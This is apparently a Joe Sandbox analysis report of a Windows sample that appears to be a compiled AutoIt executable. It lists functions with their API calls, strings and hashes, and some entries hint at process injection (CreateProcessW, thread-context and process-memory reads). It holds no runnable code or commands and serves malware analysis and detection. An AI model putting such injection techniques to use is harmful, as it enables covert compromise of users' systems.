Opcode Fuzzy Hash: 0ab33120c4779273f35b90fc94552ab3ed6acdcb6125f4d8089cb7651886085d
Instruction Fuzzy Hash: EFA13C7190021E9ACB25EBA8DC599FEBB79FF54300F44052BF416A7391EF745A08CBA1

Function 005DF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005F0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 005F0193
Part of subcall function 005F0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 005F019B
Part of subcall function 005F0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 005F01A6
Part of subcall function 005F0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 005F01B1
Part of subcall function 005F0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 005F01B9
Part of subcall function 005F0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 005F01C1

Part of subcall function 005E60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,005DF930), ref: 005E6154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 005DF9CD
OleInitialize.OLE32(00000000), ref: 005DFA4A
CloseHandle.KERNEL32(00000000), ref: 006145C8

Strings

\Ti, xrefs: 005DF7F7
%f, xrefs: 005DF796, 005DF7A8, 005DF96E, 005DFA51
Si, xrefs: 005DF7EB
<Wi, xrefs: 005DF930

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <Wi$\Ti$%f$Si
API String ID: 1986988660-4244449658
Opcode ID: 6ca20eb3729b8370592824d318e42b03fc067d03250cc9dfc3989392099aa982
Instruction ID: 937647af770b0580548a6ded3ec200af37a38416f29b3bd67169b7a79085d350
Opcode Fuzzy Hash: 6ca20eb3729b8370592824d318e42b03fc067d03250cc9dfc3989392099aa982
Instruction Fuzzy Hash: 4F81DBB0901A418FC786DF79A9446297FEFFB98B06750A12B900BCBB72EB704585CF51

Function 01188688 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01188759
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0118897F

Memory Dump Source

Source File: 00000001.00000002.1297556069.0000000001186000.00000040.00000020.00020000.00000000.sdmp, Offset: 01186000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1186000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction ID: 3b2492106945d174d9b2c3dc45fffabecf7dd847c30a02edefb78e88eb930163
Opcode Fuzzy Hash: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction Fuzzy Hash: D4A13A70E00209EBEB18DFA4D894BEEBBB5FF48304F608159E615BB280D7759A41CF65

Function 005D39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005D3A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 005D3A24
ShowWindow.USER32(00000000,?,?), ref: 005D3A38
ShowWindow.USER32(00000000,?,?), ref: 005D3A41

Strings

edit, xrefs: 005D3A1E
AutoIt v3, xrefs: 005D39FB, 005D3A00, 005D3A01

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: b585ee9bec3a4c6aba3fb42d4cd9403046b099aae4304982551c9f5ddda372ff
Instruction ID: 525e93a215cbd7dfd9b6b493b927f42362c2a1811a8b3f5abe16d7c775ee58ad
Opcode Fuzzy Hash: b585ee9bec3a4c6aba3fb42d4cd9403046b099aae4304982551c9f5ddda372ff
Instruction Fuzzy Hash: 77F03A70500690BEEB325B236C08E2B3E7FD7CAF61F00102AB901A21B0C2611800CBB0

Function 01188428 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01188318: Sleep.KERNELBASE(000001F4), ref: 01188329

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01188579

Strings

92NIELBJI5ODHLGI1EER8229WFOC, xrefs: 011885DC, 011885DF

Memory Dump Source

Source File: 00000001.00000002.1297556069.0000000001186000.00000040.00000020.00020000.00000000.sdmp, Offset: 01186000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1186000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateFileSleep
String ID: 92NIELBJI5ODHLGI1EER8229WFOC
API String ID: 2694422964-1244104728
Opcode ID: 5207d73974e52b3f3640aebea035c4738b9b18b64624b96962d0fbbc6f070dbd
Instruction ID: a89c085fe39ca4b8dd94ec6e2656349ce8feaa304f818a32d8925850a3a76278
Opcode Fuzzy Hash: 5207d73974e52b3f3640aebea035c4738b9b18b64624b96962d0fbbc6f070dbd
Instruction Fuzzy Hash: 11619470D04288DAEF15DBF4C844BEEBBB5AF15304F048199E6497B2C1D7B90B49CB6A

Function 005D407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0060D3D7

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

_memset.LIBCMT ref: 005D40FC
_wcscpy.LIBCMT ref: 005D4150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 005D4160

Strings

Line: , xrefs: 0060D400

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 90f3e5dd1dfac9bb4200ae0bb1fb3672041165c29c3aa102219ce0a03348e5c3
Instruction ID: ac1386b3887fe015f173971ecca8b8774ea56d1823742e36c1b8cdfd83c23e3c
Opcode Fuzzy Hash: 90f3e5dd1dfac9bb4200ae0bb1fb3672041165c29c3aa102219ce0a03348e5c3
Instruction Fuzzy Hash: 56318F71008706AFD735EB68DC49BEB7BDCBF84310F10491BF685962A1EB709648CB92

Function 005F541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F547B
_memcpy_s.LIBCMT ref: 005F54ED
__read_nolock.LIBCMT ref: 005F554B
__filbuf.LIBCMT ref: 005F556E
_memset.LIBCMT ref: 005F55B2

Part of subcall function 005F8B28: __getptd_noexit.LIBCMT ref: 005F8B28

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 9447fbaed4caca72bd78aeed622e9fb38b47fced632f39cb5ec8205b14d7b1aa
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: EB51D570A00B0DDBDF249FA9D84467E7FA2BF40321F248729FB25962D0E7789D518B40

Function 005D686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 005D4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,006952F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 005D4E0F

_free.LIBCMT ref: 0060E263
_free.LIBCMT ref: 0060E2AA

Part of subcall function 005D6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 005D6BAD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 0060E039
Bad directive syntax error, xrefs: 0060E292

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 3d4b2779fc9bf336558b7fe83450ab8368566569a75c05e4cf89f6a63e36e363
Instruction ID: 22e692ad39552f35baba1cbaf81a4329191d4bbd3a4606ac9aa670f93e61461a
Opcode Fuzzy Hash: 3d4b2779fc9bf336558b7fe83450ab8368566569a75c05e4cf89f6a63e36e363
Instruction Fuzzy Hash: C891937194022AEFCF18EF64C8458EEBBBAFF14310F00446AF816AB3A1DB759915CB50

Function 005D35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,005D35A1,SwapMouseButtons,00000004,?), ref: 005D35D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,005D35A1,SwapMouseButtons,00000004,?,?,?,?,005D2754), ref: 005D35F5
RegCloseKey.KERNELBASE(00000000,?,?,005D35A1,SwapMouseButtons,00000004,?,?,?,?,005D2754), ref: 005D3617

Strings

Control Panel\Mouse, xrefs: 005D35D2

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: f217cf74f49723e10c748a8054145d6127a38a0cde8d768accb56f2779c99e8f
Instruction ID: dba57c62c7df32cbad2aaa687792cda0ed51a3c378df65f0ccda074e9e7b67dc
Opcode Fuzzy Hash: f217cf74f49723e10c748a8054145d6127a38a0cde8d768accb56f2779c99e8f
Instruction Fuzzy Hash: 51113375611208BADB20CF68DC80EAABBA9EF04740F00946AA805D7210E2719E40DBA1

Function 01187318 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01187B45
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01187B69
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01187B8B

Memory Dump Source

Source File: 00000001.00000002.1297556069.0000000001186000.00000040.00000020.00020000.00000000.sdmp, Offset: 01186000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1186000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction ID: d581b52fa4b62ef7c5dddaacf2ac2639a10bf2e377ecefc3d097bced59a55297
Opcode Fuzzy Hash: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction Fuzzy Hash: 9C62FA30A146589BEB28DFA4C840BDEB776EF58300F1091A9D20DEB2D4E7759E81CF59

Function 0063955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 005D4EE5: _fseek.LIBCMT ref: 005D4EFD

Part of subcall function 00639734: _wcscmp.LIBCMT ref: 00639824
Part of subcall function 00639734: _wcscmp.LIBCMT ref: 00639837

_free.LIBCMT ref: 006396A2
_free.LIBCMT ref: 006396A9
_free.LIBCMT ref: 00639714

Part of subcall function 005F2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,005F9A24), ref: 005F2D69
Part of subcall function 005F2D55: GetLastError.KERNEL32(00000000,?,005F9A24), ref: 005F2D7B

_free.LIBCMT ref: 0063971C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction ID: 7d2e8743c1f49b1cf0ea7a148e74597291d1a3efc4683892ce0256300fa6714f
Opcode Fuzzy Hash: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction Fuzzy Hash: D3513DB1D04259AFDF249F64CC85AAEBB79FF88300F10449EB609A3351DB715A81CF58

Function 005F470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005F47A0
__flush.LIBCMT ref: 005F47C0
__write.LIBCMT ref: 005F47F3
__flsbuf.LIBCMT ref: 005F4821

Part of subcall function 005F8B28: __getptd_noexit.LIBCMT ref: 005F8B28

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 1d96feca9ba585a0dea4dccc77abdce149bdf0b6f3dd13d3a19164f1b324cd26
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 8841D374A0174E9BDB189EA9C8849BF7FA6FF823A0B24853DEA15C7640D778DD418F40

Function 005D4C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005D4CBA

Strings

EA06, xrefs: 0060D8CC
AU3!P/f, xrefs: 005D4CB4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/f$EA06
API String ID: 4104443479-2229653743
Opcode ID: c02455c30708200c8bb0d4ffc6f1cee163556168b390fd9c5805ba01d4c0e95a
Instruction ID: 10ec7138a5ece055a9c7a4cec640279db786e8ff3f02997ee4a5d9fec8d89bba
Opcode Fuzzy Hash: c02455c30708200c8bb0d4ffc6f1cee163556168b390fd9c5805ba01d4c0e95a
Instruction Fuzzy Hash: 61413B21A041596BDF31AB5C88957BE7FA7FB85300F684477E886DB382D6309D448FA2

Function 005D7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0060EA39
GetOpenFileNameW.COMDLG32(?), ref: 0060EA83

Part of subcall function 005D4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005D4743,?,?,005D37AE,?), ref: 005D4770

Part of subcall function 005F0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005F07B0

Strings

X, xrefs: 0060EA51

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 6e4fe7a2b51bcfd641b07a4de56bd3f833cbe567e972624e0d980f8125aec860
Instruction ID: e94ca5cb9758cef5e4d97dd3c082f106530807acf2699bd6d8d0199b19fd1f96
Opcode Fuzzy Hash: 6e4fe7a2b51bcfd641b07a4de56bd3f833cbe567e972624e0d980f8125aec860
Instruction Fuzzy Hash: 3321A470A002589BCB51DF98C849BEE7FF9AF49310F00405BE508A7381DBB45A898F91

Function 00638D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00638DAC
__fread_nolock.LIBCMT ref: 00638DC1

Strings

EA06, xrefs: 00638DF3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 0966f0ea9804564ad23d9e0f91cb5edc4ab417b864740b9e65f7d97c8a6b6404
Instruction ID: 2ae41c2b520a0531d57efca52b87d0988026f08c76da122aa8931584b94afd41
Opcode Fuzzy Hash: 0966f0ea9804564ad23d9e0f91cb5edc4ab417b864740b9e65f7d97c8a6b6404
Instruction Fuzzy Hash: F101B971D042187EDB28DAA8CC5AEFE7FF8DF15311F00459AF652D6181E979E60487A0

Function 006398E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 006398F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0063990F

Strings

aut, xrefs: 00639909

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 50e4e1c055e3303a706a203676a9099a3310cd8aa9540eca5fc5130b8674d675
Instruction ID: 14c69c60712398bb4a77d49506bf8c3d51fee123478c1c86b0929203427e2c63
Opcode Fuzzy Hash: 50e4e1c055e3303a706a203676a9099a3310cd8aa9540eca5fc5130b8674d675
Instruction Fuzzy Hash: FFD05EB958030DABDB50EBE0DC0EF9A773DE704701F4002B1BA94960A1EAB096988B91

Function 0064CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00eb1764463a4220977f161e4781640b04849b7ba72d6430753ff9249de49a6f
Instruction ID: a3e04c49724d88b9fcc9a2ba78abc1a7179ba5e405b0bcd451fb7faf8a24a61e
Opcode Fuzzy Hash: 00eb1764463a4220977f161e4781640b04849b7ba72d6430753ff9249de49a6f
Instruction Fuzzy Hash: B4F13A71A083419FC754DF28C484A6ABBE6FF89324F14892EF8999B351D734E945CF82

Function 005D434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005D4370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 005D4415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 005D4432

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 01fd84d931d1bc157397d2600c92359d83fbb54a97e9f3adbb5b0e912aaae0d4
Instruction ID: 70930917302634e7a6043bbcb362c6f98a750d3c3f170f935158987394188b75
Opcode Fuzzy Hash: 01fd84d931d1bc157397d2600c92359d83fbb54a97e9f3adbb5b0e912aaae0d4
Instruction Fuzzy Hash: CF3150B05047019FDB31DF68D88569BBBE8FB48309F000D2FE69A86351D771A984CB92

Function 005F571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 005F5733

Part of subcall function 005FA16B: __NMSG_WRITE.LIBCMT ref: 005FA192
Part of subcall function 005FA16B: __NMSG_WRITE.LIBCMT ref: 005FA19C

__NMSG_WRITE.LIBCMT ref: 005F573A

Part of subcall function 005FA1C8: GetModuleFileNameW.KERNEL32(00000000,006933BA,00000104,?,00000001,00000000), ref: 005FA25A
Part of subcall function 005FA1C8: ___crtMessageBoxW.LIBCMT ref: 005FA308

Part of subcall function 005F309F: ___crtCorExitProcess.LIBCMT ref: 005F30A5
Part of subcall function 005F309F: ExitProcess.KERNEL32 ref: 005F30AE

Part of subcall function 005F8B28: __getptd_noexit.LIBCMT ref: 005F8B28

RtlAllocateHeap.NTDLL(00FD0000,00000000,00000001,00000000,?,?,?,005F0DD3,?), ref: 005F575F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
